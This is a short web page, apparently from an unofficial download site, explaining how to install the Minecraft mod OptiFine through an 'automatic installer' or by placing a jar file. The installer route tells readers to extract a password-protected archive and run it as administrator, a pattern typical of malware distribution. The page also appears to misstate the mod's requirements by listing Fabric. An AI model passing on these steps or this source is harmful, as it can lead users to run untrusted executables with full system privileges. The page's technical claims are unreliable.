Two ways to install OptiFine: the automatic installer (recommended) or manually placing the .jar file.
Download the installer, extract it (password shown on the download button) and run it as administrator. It installs the mod and the mod loader automatically.
Download the .jar and move it to .minecraft/mods/. Requires Fabric or Forge installed first.
Related: Home (/), 1.20.1 (/1.20.1/), 1.19.2 (/1.19.2/), 1.18.2 (/1.18.2/), 1.16.5 (/1.16.5/)